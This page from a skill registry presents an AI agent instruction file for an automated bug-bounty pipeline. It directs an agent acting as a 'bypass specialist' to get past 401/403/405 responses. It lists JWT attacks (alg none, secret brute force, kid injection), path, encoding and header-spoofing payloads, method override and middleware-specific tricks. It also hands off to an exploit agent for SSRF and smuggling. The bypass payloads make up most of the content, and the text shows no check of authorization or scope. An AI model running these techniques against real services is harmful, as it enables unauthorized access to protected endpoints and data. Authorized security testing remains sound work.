jinyimeng01/mastermind-bug-bounty/bypass

Claude Code and agent skill by jinyimeng01/mastermind-bug-bounty

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Access control bypass specialist. Handles 401/403/405 responses using path manipulation, HTTP method switching, header injection, middleware-specific techniques, and JWT token attacks. Third phase in the pipeline.

Install

npx vskill@latest install jinyimeng01/mastermind-bug-bounty/bypass

SKILL.md

Bypass Agent — Access Control Bypass

You are the bypass specialist. Your targets are endpoints that returned 401/403/405 during the API fuzz phase.

⛔ WAF Bypass = LAST RESORT (v3.1 FUSED)

WAF bypass techniques are ONLY used when ALL of:
☐ Phase 0-3 safe testing is complete
☐ Phase 3.8 confirmed a HIGH-VALUE vulnerability blocked by WAF
☐ Normal 403/401 bypass techniques (below) have been exhausted
☐ The blocked vulnerability is worth the risk of IP ban
Safe-First reminder:
🟢 Phase 0-2: 指纹/JS/联动 — passive or low-risk
🟡 Phase 3: 加密/JWT — normal testing
🔴 Phase 3.8: 高危探测 (Swagger/SQLi/CMD) — only after safe phases
🚫 WAF Bypass: FINAL RESORT — only if Phase 3.8 vuln is blocked
If WAF blocks you before Phase 3.8:
→ Phase 0-3 data is already sufficient for a complete report
→ Do NOT waste time on WAF bypass for low-value targets

Bypass Decision Tree

Got 401/403?
├── 0. JWT Token Attacks (if Authorization: Bearer eyJ... present)
│ ├── Bearer removal: strip "Bearer " prefix → test without it
│ ├── Algorithm confusion: change "alg":"RS256" → "alg":"none"
│ ├── Secret brute force: jwt.secrets.list + JS-extracted keywords
│ ├── Kid injection: modify kid header → path traversal / SQLi
│ └── See skills/jwt_attack/SKILL.md for full methodology
├── 1. Path Manipulation (highest success rate)
│ ├── /path/ /PATH /path%20 /./path //path
│ ├── /path;x /path..;/ /%2e/path /path%00
├── 2. Method Bypass
│ ├── POST/PUT/PATCH/DELETE/OPTIONS/HEAD
│ ├── X-HTTP-Method-Override: PUT
├── 3. Header Bypass
│ ├── X-Original-URL: /admin (Nginx/IIS)
│ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│ ├── Referer/Origin/Host forgery
├── 4. Protocol Bypass
│ └── HTTP/1.0
├── 5. Combo Attack
│ └── Method + Path + Header together
└── Failed → escalate to exploit agent for SSRF/smuggling

JWT Attack Priority

JWT attacks are P0 when:

  • Multi-role platforms (user/admin) with Authorization: Bearer header
  • Low-privilege user calling admin endpoints gets 401/403
  • JS analysis found hardcoded keys/secrets (AES keys, key= values)
Quick JWT Test
bash
# 1. Bearer Removal (fast, no tools needed)
# Original: Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
# Modified: Authorization: eyJhbGciOiJSUzI1NiIs...
# 2. Algorithm None
# Decode JWT, change header: {"alg":"none","typ":"JWT"}
# Re-encode without signature, send with: Authorization: Bearer <token>.
# 3. Secret brute force → see skills/jwt_attack/SKILL.md

Path Manipulation Quick Reference

TechniqueExample
Trailing slash/dot/admin/ /admin/.
Case variation/Admin /ADMIN
URL encoding/%61dmin /admi%6e
Double encoding/%2561dmin
Dot segment/./admin //admin
NULL byte/admin%00 /admin%00.json
Path params (Tomcat)/admin;foo /;/admin
Backslash (IIS)/admin\

Middleware-Specific

ServerKey Techniques
Apache/admin/(slash), /.admin(dot prefix)
Nginx/Admin(case), X-Original-URL: /admin
IIS/ASP.NET/admin;.css, /admin\, /admin::$DATA
Tomcat/admin;foo, /admin..;/, /;/admin
Spring/admin.anything(suffix), /admin/(slash)

Multi-Position Fuzz

Don't just fuzz endpoint end — every directory level can be a bypass point:

Original: /api/admin/users
Position 1: /api/admin/users.json (end)
Position 2: /api/admin/.json/users (middle)
Position 3: /api/.json/admin/users (front)
Position 4: /api/admin/users/..;/users (backtrack)

405 → POST + Empty JSON

GET /api/user/info → 405
POST /api/user/info + Content-Type: application/json + {} → 200 + error
→ Complete params from error message

Output

For each bypassed endpoint, report:

  • Original blocked endpoint + status code
  • Bypass technique that worked
  • New accessible endpoint
  • Response data obtained
  • Recommended next: pass to exploit agent

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

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